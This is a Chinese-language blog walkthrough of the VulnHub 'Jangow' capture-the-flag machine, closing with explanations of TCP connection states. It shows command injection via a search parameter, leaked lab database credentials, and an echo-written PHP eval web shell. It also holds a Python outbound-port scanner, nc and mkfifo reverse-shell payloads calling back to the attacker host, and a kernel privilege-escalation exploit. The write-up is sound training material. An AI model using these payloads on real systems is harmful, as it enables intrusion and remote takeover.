vulnhub_jangow

来源

vulnhub:https://www.vulnhub.com/entry/jangow-101,754/

描述
难度:简单

这在 VirtualBox 而不是 VMware 上效果更好

我这里用Vmware无法显示IP地址,但是VirtualBox可以。

nmap扫描

nmap -sC -sV -T4 -sS -v 192.168.56.118   

Discovered open port 80/tcp on 192.168.56.118
Discovered open port 25/tcp on 192.168.56.118
Discovered open port 21/tcp on 192.168.56.118
Discovered open port 110/tcp on 192.168.56.118

PORT    STATE SERVICE    VERSION
21/tcp  open  tcpwrapped
25/tcp  open  tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp  open  tcpwrapped
110/tcp open  tcpwrapped

然后再80端口发现一个

http://192.168.56.118/site/busque.php?buscar=
命令执行,文件包含

经测试:命令执行
http://192.168.56.118/site/busque.php?buscar=tac ./wordpress/config.php

发现信息泄露

?> mysqli_close($conn); 
echo "Connected successfully"; } 
die("Connection failed: " . mysqli_connect_error()); 
if (!$conn) { // Check connection 
$conn = mysqli_connect($servername, $username, $password, $database); // Create connection 
$password = "abygurl69"; 
$username = "desafio02"; 
$database = "desafio02"; 
$servername = "localhost"; 

没什么用

接着使用使用echo 写码

which nc 回显 /bin/nc
http://192.168.56.118/site/busque.php?buscar=/bin/nc 192.168.56.101 4444 -e /bin/bash

但是弹不上去,估计-e 给搬了

尝试echo 写码,可以成功
http://192.168.56.118/site/busque.php?buscar=echo '<?php eval($_POST[x]);?>' >> shell.php

此时在查看就可以发现
http://192.168.56.118/site/busque.php?buscar=ls

蚁剑连接

发现

这个可登录系统

接下来就是弹shell了。

发现是做了端口限制出不去,要测试本地端口是否能够出去,最简单的方法是使用telnet命令。

import requests

url = "http://192.168.56.118/site/busque.php?buscar=telnet 192.168.56.101 "

for i in range(1, 65536):
    try:
        payload = url + str(i)
        req = requests.get(payload, timeout=0.2)
        if "Trying" in req.text:
            print(i)
    except:
        pass

等待时间有点久

利用蚁剑传文件,弹shell

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 443 >/tmp/f');?>
本地监听:nc -lvnp 443

访问:http://192.168.56.118/site/php-reverse-shell.php
即可成功

默认情况下,这些shell非常不稳定。按 Ctrl + C 会杀死整个事情。它们是非交互式的,并且通常具有奇怪的格式错误。

此时which python3,存在

使用python稳定shell:https://www.cnblogs.com/-Lucky-/p/17160172.html

此时成功拿到

然后就是权限提升

找了很久,,,,最后发现是版本问题

可利用的poc

最后发现是45010.c

也可以使用

开个web服务,远程下载(可能因为权限原因,在www-data下才可以下载)(我在/ 目录下下载失败,并且在/site/下载编译后的文件运行失败,最后还是下载45010.c,然后再编译的)

总结疑问

思路:web端,发现命令执行漏洞后,直接echo 写码,蚁剑连接。然后使用python测试进出端口-->443

反弹shell即可,最后使用python开启web服务,或使用ftp服务上传文件,蚁剑上传也可以,然后就是root权限

疑问

443端口已经弹shell了,为什么开启http服务,并没有中断,还可以下载文件

然后就发现下面的情况
开启443web服务后

上传文件

上传文件后端口状态发生了改变

"ESTABLISHED" 指的是 TCP/IP 连接已经建立,并且数据可以在两个端点之间互相传输。在网络通信中,TCP是一种可靠的传输协议,它需要在客户端和服务器之间建立连接,以保证传输数据的可靠性。

在TCP连接建立后,网络状态将变为 ESTABLISHED 状态。在这个状态下,客户端和服务器之间的数据传输可以进行,并且双方都可以发送和接收数据。当数据传输完成后,连接将被断开,状态将变为 CLOSED。

在网络通信问题排查过程中,查看网络状态是非常有用的方式。当客户端连接到服务器时,可以使用netstat命令来查看当前系统的网络状态信息。例如,可以使用以下命令查看本机与目标主机之间的连接状态:

netstat -an | grep 远程主机IP | grep ESTABLISHED
该命令将列出本机与指定远程主机之间的已建立连接信息。如果输出结果中的State字段为ESTABLISHED,则表示连接已经建立。

总之,ESTABLISHED 表示已经建立了一条 TCP/IP 连接,并且可以进行数据传输。



"TIME_WAIT" 是 TCP/IP 协议中一个重要的状态,它是在 TCP 连接关闭时产生的一种暂时状态。当 TCP 连接被主动关闭时,连接的一端将进入 TIME_WAIT 状态,等待 2 × MSL(Maximum Segment Lifetime,最大分段生存时间)的时间后才会关闭。

在 TIME_WAIT 状态下,TCP 连接已经被关闭,但是还没有完全终止。这个状态会持续一段时间,因为有可能会收到对之前连接上发送的数据的确认(ACK)。如果收到确认,就说明之前的连接仍然存在,需要等待确认超时或者两倍的最大分段生存时间后才能彻底关闭这个连接。

TIME_WAIT 状态的持续时间是有限制的,通常是几分钟到几十分钟不等。在这个时间内,连接不能被重用,会占用系统资源。如果有大量的 TIME_WAIT 状态的连接存在,可能会导致系统性能下降。

在网络故障分析和调试中,TIME_WAIT 状态是一个非常重要的指标。在使用 netstat 等工具查看网络状态时,如果看到大量的 TIME_WAIT 状态的连接,可能说明系统的网络连接负载比较大,需要进一步排查问题。



"LISTEN" 是 TCP/IP 协议中一个重要的状态,表示当前正在监听指定端口号的网络连接请求。当一个服务器程序运行起来后,它通常会监听一个固定的端口号,用于接受来自远程客户端的连接请求。

在 LISTEN 状态下,服务器程序正在等待来自客户端的连接请求。如果有一个客户端请求连接到该端口,并且满足一定的条件,服务器程序会创建一个新的 TCP 连接,将其分配给该客户端,并进入 ESTABLISHED 状态。在 LISTEN 状态下,服务器程序可以同时处理多个客户端的连接请求,这也是 TCP/IP 网络通信的一个典型特征。

在使用 netstat 命令等工具查看网络状态时,可以通过以下命令查看本机正在监听的端口号:

netstat -an | grep LISTEN
该命令会列出当前正在监听的所有端口号和协议类型。如果输出结果中的State字段为 LISTEN,则表示该端口正在被该主机上的一个程序监听。如果出现大量的 LISTEN 状态的连接,可能说明有多个服务程序在运行,需要进一步排查问题。

总之,LISTEN 状态表示当前正在监听指定端口号,等待来自远程客户端的连接请求。



posted @ 2023-04-06 23:00  gvpn  阅读(53)  评论(0编辑  收藏  举报